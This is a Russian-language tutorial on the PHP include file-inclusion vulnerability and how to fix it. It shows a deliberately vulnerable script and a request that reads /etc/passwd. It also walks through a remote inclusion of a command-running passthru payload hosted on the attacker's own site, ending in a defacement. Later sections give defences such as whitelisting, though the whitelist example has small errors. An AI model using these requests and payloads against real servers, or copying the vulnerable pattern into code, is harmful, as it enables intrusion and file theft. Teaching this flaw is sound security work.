В этой статье я расскажу вам об одной из самых распространённых уязвимостей, встречающихся в PHP-сценариях - include "баге". Вы узнаете как принцип действия, так и некоторые способы устранения данной уязвимости.

Внимание!!! Вся информация представленная в данной статье служит чисто в ознакомительных целях! Автор не несёт никакой ответственности за её злонамеренное применение!

Теория

Уязвимость PHP - include одна из самых известных, но между тем и самых распространённых "дыр" встречающихся сегодня в PHP сценариях. Она возникает, когда по невнимательности, незнанию, либо по какой-то другой ведомой только ему одному причине, программист позволяет использовать данные, переданные сценарию в виде параметров, без дополнительной проверки (такие данные ещё называют "мечеными") в качестве параметра функцией include. Для того, чтобы лучше разобраться в принципе действия данной уязвимости, необходимо иметь некоторое представление о вышеназванной функции.

PHP функция include, а также include_once

Данная функция используется для подключения к запущенному PHP сценарию дополнительных программных модулей. Причём, в отличие от похожей по свойствам require, функция include исполняет эти модули непосредственно в своём процессе. А следовательно, прикрепляемые таким образом модули будут исполняться не как отдельные сценарии, а как части подключившего их к себе сценария. Точнее, include будет исполнять только ту часть файла, которая заключена между спец. тэгами:

"<?php" или "<?"
"?>"

Всё остальное PHP просто выдаёт в виде текста. Т.е. если подключить текстовый файл (например: /etc/passwd ) не содержащий указанных тэгов, всё содержимое этого файла будет выдано интерпретатором.

Пример вызова:

include($file);

Как вы наверное заметили, функция include имеет всего 1 параметр ($file), который указывает путь и имя файла подключаемого модуля. Стоит отметить также, что в юниксоподобных системах (в зависимости от настроек PHP) в качестве параметра можно передавать не только путь и имя файла, но и URL (Интернет адрес) файла(!!!).

Практика

Предположим, на некотором ВЕБ-сервере установлен следующий PHP сценарий (его URL http://www.superpupersite.com/index.php ):

<?php
include($HTTP_GET_VARS["file"]);
?>

А также множество различных подключаемых сценариев-модулей для него:

home.php
feedback.php
...

Автор этого сценария предполагал, что все посетители сайта будут мирно переходить от одной страницы к другой нажимая кнопочки, ссылочки и прочие объекты управления. А сценарий, в зависимости от переданного параметра file, будет присоединять один или другой модуль, таким образом генерируя различные HTML страницы (чаще всего include используют именно таким образом).

Примеры запросов:

http://www.superpupersite.com/index.php?file=home.php
http://www.superpupersite.com/index.php?file=feedback.php

Он даже представить себе не мог, что однажды (в студёную зимнюю пору) на сайт забредёт некий любознательный Вася Пупкин. Который, исходя из своей любознательности рассматривая эти самые ссылки, предположил бы (пока он ещё не знает, как и что там на самом деле), что параметр file является не чем иным, как имя и путь к файлу и что сценарий использует функцию include (не удивительно, т.к. на сегодня include используется чуть ли не в каждом 3-ем скрипте). Вася тут же решил проверить своё предположение следующим образом:
Сделал запрос вида: http://www.superpupersite.com/index.php?file=/etc/passwd
На выходе получил содержимое файла passwd сервера

П.С: Если на сервере в опциях PHP включен режим отладки, выявить подобную уязвимость не составляет особого труда по характерным сообщениям о ошибках (Вроде: "Failed opening 'filename' for inclusion..."! Но в данном случае режим отладки был отключён (не всё коту масленица).

"Здорово! Вполне возможно что моё предположение по поводу include верно!"-подумал Вася. А также Вася заметил, что сервер работает под управлением юниксподобной операционной системы (там присутствует файл /etc/passwd). Из этого всего он сделал вывод, что возможно удастся внедрить свой PHP модуль, чтобы последний выполнялся на стороне сервера. Теперь, для осуществления своих зловещих планов, В.Пупкину необходим доступ позволяющий добавлять и редактировать файлы на каком-нибудь ВЕБ-сервере. К счастью, на сегодняшний день получить медленный, бесплатный хостинг не составляет особых проблем и у нашего героя уже был припасён на такие неожиданные случаи жизни свой сайт http://pupkin.halava123.ru. Куда он предусмотрительно закачал сценарий следующего содержания:

<? passthru("ls -al"); ?>

Незатейливый, надо сказать, скрипт, выводящий в окно браузера список файлов и каталогов в текущей директории (но для проверки наличия уязвимости его хватит ). Сценарий был размещён по адресу:

http://pupkin.halava123.ru/cmd.txt

Вася выполнил следующий запрос:

http://www.superpupersite.com/index.p....le=http

И у него получилось! Как и задумывалось, в окне браузера он увидел список файлов и каталогов. Далее по нарастающей, "дыра" была обнаружена, и в ход пошли не менее интересные сценарии, подробное описание которых заняло бы немало места и по этим соображениям не публикуется здесь В общем, долго ли, коротко ли, но закончилось всё дефейсом (дефейс - подмена начальной страницы на свою). Вот такая грустная история!

Борьба с вредителем

Прочитав всё вышеописанное, многие из вас задаются вопросом : "существуют ли методы борьбы с этой ужастной уязвимостью? ". "Да" - гордо отвечау я . Вот некоторые (отнюдь не все) из них:
Самый простой способ, с точки зрения программирования, это преобразовать переменную $module в числовой формат (settype($module,”integer”)), но при этом придётся пронумеровать модули, а также собрать их в один каталог (“module1.php”, ”module2.php” …”module<n>.php” ).

Более сложный с точки зрения реализации метод борьбы с вредителями - это создание отдельного файла-списка модулей, которые возможно запустить. И в зависимости, находится ли тот или иной модуль в списке, выполнять либо выдавать соответствующую ошибку (или запускать модуль по умолчанию или если Вы, хотите напугать «экспериментатора» выдать сообщение о том, что его адрес зафиксирован и чтоб он сушил сухари...).
Пример:
switch ($case) // $case - имя переменной передаваемой в параметре к скрипту
{
case news:
include("news.php");
break;

case articles:
include("guestbook.php");
break;

... // и т.д.
default:
include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница
break;
}

Третий метод является промежуточным- что-то среднее между 1-ым и 2-ым. Вам просто надо заменить все служебные символы ("..","/","\") например, на прочерки. Правда, модули (там должны располагаться только выполняемые модули и ничего кроме них!!!) в этом случае должны располагаться в одном каталоге, но их названия могут быть нормальными словами (например “news”, ”guestbook” и т.д.).

Заключение

Вот в общем-то и всё, что я хотел рассказать вам в этот раз. Вывод из этого всего может быть такой: прежде чем используете данные полученные от пользователя в ваших WEB сценариях подумайте, а не надо ли их предварительно проверить и надлежащим образом обработать. Это касается не только полей данных формы передаваемых браузером (методы GET и POST), но и COOKIE (злоумышленник может добраться и до них).